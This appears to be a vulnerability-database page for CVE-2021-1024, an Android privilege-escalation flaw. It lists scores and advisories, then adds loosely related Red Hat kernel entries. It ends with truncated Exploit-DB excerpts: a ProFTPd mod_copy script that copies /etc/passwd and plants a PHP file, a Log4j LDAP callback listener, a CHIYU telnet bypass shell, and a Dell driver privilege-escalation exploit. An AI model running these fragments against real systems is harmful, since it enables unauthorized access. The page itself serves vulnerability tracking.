CVE-2021-1024
published 2021-12-15CVE-2021-1024: In onEventReceived of EventResultPersister.java, there is a possible intent redirection due to a confused deputy. This could lead to local escalation of…
PriorityP428medium6.7CVSS 3.1
AVLACLPRHUINSUCHIHAH
EPSS
0.11%
1.7th percentile
In onEventReceived of EventResultPersister.java, there is a possible intent redirection due to a confused deputy. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12Android ID: A-191283525
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| android | — | — | |
| android | — | — | |
| platform | frameworks_base | >= 12:0 < 12:2021-12-01 | 12:2021-12-01 |
CVSS provenance
nvdv3.16.7MEDIUMCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
nvdv2.04.6MEDIUMAV:L/AC:L/Au:N/C:P/I:P/A:P
vendor_redhat7.1HIGH
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-rgr9-47fx-rg94: In onEventReceived of EventResultPersister
ghsa_unreviewed·2021-12-16
CVE-2021-1024 [MEDIUM] GHSA-rgr9-47fx-rg94: In onEventReceived of EventResultPersister
In onEventReceived of EventResultPersister.java, there is a possible intent redirection due to a confused deputy. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12Android ID: A-191283525
OSV
CVE-2021-1024: In onEventReceived of EventResultPersister
osv·2021-12-01
CVE-2021-1024 CVE-2021-1024: In onEventReceived of EventResultPersister
In onEventReceived of EventResultPersister.java, there is a possible intent redirection due to a confused deputy. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.
Red Hat
kernel: usb: fix various gadget panics on 10gbps cabling
vendor_redhat·2024-05-21·CVSS 6.3
CVE-2021-47267 [MEDIUM] CWE-476 kernel: usb: fix various gadget panics on 10gbps cabling
kernel: usb: fix various gadget panics on 10gbps cabling
In the Linux kernel, the following vulnerability has been resolved:
usb: fix various gadget panics on 10gbps cabling
usb_assign_descriptors() is called with 5 parameters,
the last 4 of which are the usb_descriptor_header for:
full-speed (USB1.1 - 12Mbps [including USB1.0 low-speed @ 1.5Mbps),
high-speed (USB2.0 - 480Mbps),
super-speed (USB3.0 - 5Gbps),
super-speed-plus (USB3.1 - 10Gbps).
The differences between full/high/super-speed descriptors are usually
substantial (due to changes in the maximum usb block size from 64 to 512
to 1024 bytes and other differences in the specs), while the difference
between 5 and 10Gbps descriptors may be as little as nothing
(in many cases the same tuning is simply good enough).
However if a gadget
Red Hat
kernel: sched: Fix out-of-bound access in uclamp
vendor_redhat·2024-02-28·CVSS 7.1
CVE-2021-46993 [HIGH] CWE-125 kernel: sched: Fix out-of-bound access in uclamp
kernel: sched: Fix out-of-bound access in uclamp
In the Linux kernel, the following vulnerability has been resolved:
sched: Fix out-of-bound access in uclamp
Util-clamp places tasks in different buckets based on their clamp values
for performance reasons. However, the size of buckets is currently
computed using a rounding division, which can lead to an off-by-one
error in some configurations.
For instance, with 20 buckets, the bucket size will be 1024/20=51. A
task with a clamp of 1024 will be mapped to bucket id 1024/51=20. Sadly,
correct indexes are in range [0,19], hence leading to an out of bound
memory access.
Clamp the bucket id to fix the issue.
Package: kernel (Red Hat Enterprise Linux 6) - Out of support scope
Package: kernel (Red Hat Enterprise Linux 7) - Out of support scope
Red Hat
kernel: drm/amd/display: Free local data after use
vendor_redhat·2024-02-28·CVSS 5.5
CVE-2021-47042 [MEDIUM] CWE-402 kernel: drm/amd/display: Free local data after use
kernel: drm/amd/display: Free local data after use
In the Linux kernel, the following vulnerability has been resolved:
drm/amd/display: Free local data after use
Fixes the following memory leak in dc_link_construct():
unreferenced object 0xffffa03e81471400 (size 1024):
comm "amd_module_load", pid 2486, jiffies 4294946026 (age 10.544s)
hex dump (first 32 bytes):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
backtrace:
[] kmem_cache_alloc_trace+0x30a/0x4a0
[] link_create+0xce/0xac0 [amdgpu]
[] dc_create+0x370/0x720 [amdgpu]
[] amdgpu_dm_init+0x18e/0x17a0 [amdgpu]
[] dm_hw_init+0x12/0x20 [amdgpu]
[] amdgpu_device_init+0x1463/0x1e60 [amdgpu]
[] amdgpu_driver_load_kms+0x5b/0x330 [amdgpu]
[] amdgpu_pci_probe+0x1
Red Hat
kernel: virtiofs: fix memory leak in virtio_fs_probe()
vendor_redhat·2024-02-27·CVSS 5.5
CVE-2021-46956 [MEDIUM] CWE-401 kernel: virtiofs: fix memory leak in virtio_fs_probe()
kernel: virtiofs: fix memory leak in virtio_fs_probe()
In the Linux kernel, the following vulnerability has been resolved:
virtiofs: fix memory leak in virtio_fs_probe()
When accidentally passing twice the same tag to qemu, kmemleak ended up
reporting a memory leak in virtiofs. Also, looking at the log I saw the
following error (that's when I realised the duplicated tag):
virtiofs: probe of virtio5 failed with error -17
Here's the kmemleak log for reference:
unreferenced object 0xffff888103d47800 (size 1024):
comm "systemd-udevd", pid 118, jiffies 4294893780 (age 18.340s)
hex dump (first 32 bytes):
00 00 00 00 ad 4e ad de ff ff ff ff 00 00 00 00 .....N..........
ff ff ff ff ff ff ff ff 80 90 02 a0 ff ff ff ff ................
backtrace:
[] virtio_fs_probe+0x171/0x7ae [virtiofs]
[] virtio_
Red Hat
systemd: Uncontrolled recursion in systemd-tmpfiles when removing files
vendor_redhat·2022-01-10·CVSS 5.5
CVE-2021-3997 [MEDIUM] CWE-674 systemd: Uncontrolled recursion in systemd-tmpfiles when removing files
systemd: Uncontrolled recursion in systemd-tmpfiles when removing files
A flaw was found in systemd. An uncontrolled recursion in systemd-tmpfiles may lead to a denial of service at boot time when too many nested directories are created in /tmp.
A flaw was found in systemd. An uncontrolled recursion in systemd-tmpfiles may lead to a denial of service at boot time when too many nested directories are created in /tmp.
Statement: Red Hat Enterprise Linux 8 has a default 1024 nofile limit, thus preventing `systemd-tmpfiles` from exhausting its stack and crashing. For this reason, this flaw has been rated as having a security impact of Low on Red Hat Enterprise Linux 8. For more information on default ulimit values, please see https://access.redhat.com/solutions/4482841.
The systemd version
Red Hat
stb: heap-based buffer overflow in stb_image PNM loader
vendor_redhat·2021-07-14·CVSS 7.1
CVE-2021-42716 [HIGH] CWE-125 stb: heap-based buffer overflow in stb_image PNM loader
stb: heap-based buffer overflow in stb_image PNM loader
An issue was discovered in stb stb_image.h 2.27. The PNM loader incorrectly interpreted 16-bit PGM files as 8-bit when converting to RGBA, leading to a buffer overflow when later reinterpreting the result as a 16-bit buffer. An attacker could potentially have crashed a service using stb_image, or read up to 1024 bytes of non-consecutive heap data without control over the read location.
Statement: This flaw does not affect the versions of cogl shipped with Red Hat Enterprise Linux 7 or 8 because the affected code is not shipped in those packages. This flaw is out of support scope for Red Hat Enterprise Linux 6.
Package: clutter (Red Hat Enterprise Linux 6) - Out of support scope
Package: cogl (Red Hat Enterprise Linux 7) - Not affe
No detection rules found.
Exploit-DB
HTMLDOC 1.9.13 - Stack Buffer Overflow
exploitdb·2025-09-16·CVSS 7.8
CVE-2021-43579 [HIGH] HTMLDOC 1.9.13 - Stack Buffer Overflow
HTMLDOC 1.9.13 - Stack Buffer Overflow
---
#!/usr/bin/env python3
# Exploit Title: HTMLDOC 1.9.13 - Stack Buffer Overflow
# Google Dork: N/A
# Date: 2025-08-26
# Exploit Author: wulfgarpro
# Vendor Homepage: https://github.com/michaelrsweet/htmldoc
# Software Link: https://github.com/michaelrsweet/htmldoc/releases/tag/v1.9.13
# Version: 256`. Negative values are not
# rejected. A negative `colors_used` (e.g. `biClrUsed = 0xffffffff == -1`) is
# cast to `size_t` (wraps to `SIZE_MAX`), so `fread` is asked to copy a huge
# amount into the 1024-byte buffer.
#
# `fread(ptr, size, nmemb, ...)` copies `size * nmemb` bytes. Here the call
# requests `colors_used * 4` bytes. With `biClrUsed = 0xffffffff` (-1),
# `(size_t)colors_used` becomes `SIZE_MAX`, so the call requests an enormous
# read (`si
Exploit-DB
Apache Log4j2 2.14.1 - Information Disclosure
exploitdb·2021-12-14·CVSS 10.0
CVE-2021-44228 [CRITICAL] Apache Log4j2 2.14.1 - Information Disclosure
Apache Log4j2 2.14.1 - Information Disclosure
---
# Exploit Title: Apache Log4j2 2.14.1 - Information Disclosure
# Date: 12/12/2021
# Exploit Author: leonjza
# Vendor Homepage: https://logging.apache.org/log4j/2.x/
# Version: None:
print(f' i| new connection from {self.client_address[0]}')
sock = self.request
sock.recv(1024)
sock.sendall(LDAP_HEADER)
data = sock.recv(1024)
data = data[9:] # strip header
# example response
#
# ('Java version 11.0.13\n'
# '\x01\x00\n'
# '\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x0b'
# 'objectClass0\x00\x1b0\x19\x04\x172.16.840.1.113730.3.4.2')
data = data.decode(errors='ignore').split('\n')[0]
print(f' v| extracted value: {data}')
class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
pass
def main():
parser = argparse.Ar
Exploit-DB
CHIYU IoT Devices - 'Telnet' Authentication Bypass
exploitdb·2021-06-03·CVSS 9.8
CVE-2021-31251 [CRITICAL] CHIYU IoT Devices - 'Telnet' Authentication Bypass
CHIYU IoT Devices - 'Telnet' Authentication Bypass
---
# Exploit Title: CHIYU IoT Devices - 'Telnet' Authentication Bypass
# Date: 01/06/2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version: BF-430, BF-431, BF-450M, and SEMAC - all firmware versions '))
b = "\n"
s.send(b.encode('utf-8', 'ignore'))
result = s.recv(1024).decode()
print(result.strip('CMD>'))
except KeyboardInterrupt:
print("\n[+] ^C Received, closing connection")
s.close()
except EOFError:
print("\n[+] ^D Received, closing connection")
s.close()
except socket.error:
print("[+] Unable to connect to CHIYU device.")
Exploit-DB
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)
exploitdb·2021-05-26·CVSS 10.0
CVE-2015-3306 [CRITICAL] ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)
---
# Exploit Title: ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)
# Date: 25/05/2021
# Exploit Author: Shellbr3ak
# Version: 1.3.5
# Tested on: Ubuntu 16.04.6 LTS
# CVE : CVE-2015-3306
#!/usr/bin/env python3
import sys
import socket
import requests
def exploit(client, target):
client.connect((target,21)) # Connecting to the target server
banner = client.recv(74)
print(banner.decode())
client.send(b'site cpfr /etc/passwd\r\n')
print(client.recv(1024).decode())
client.send(b'site cpto \r\n') # phpinfo() is just a PoC.
print(client.recv(1024).decode())
client.send(b'site cpfr /proc/self/fd/3\r\n')
print(client.recv(1024).decode())
client.send(b'site cpto /var/www/html/test.php\r\n')
print(client.recv(1024).decode())
clien
Exploit-DB
DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE)
exploitdb·2021-05-21·CVSS 8.8
CVE-2021-21551 [HIGH] DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE)
DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE)
---
# Exploit Title: DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE)
# Date: 10/05/2021
# Exploit Author: Paolo Stagno aka VoidSec
# Version:
#include
#include
#include
#include
#define IOCTL_CODE 0x9B0C1EC8 // IOCTL_CODE value, used to reach the vulnerable function (taken from IDA)
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2
// define the buffer structure which will be sent to the vulnerable driver
typedef struct Exploit
{
uint64_t Field1; // "padding" can be anything
void* Field2; // where to write
uint64_t Field3; // must be 0
uint64_t Field4; // value to write
};
typedef struct outBuffer
{
uint64_t Field1;
uint64_t Field2;
uint64_
No writeups or analysis indexed.
2021-12-15
Published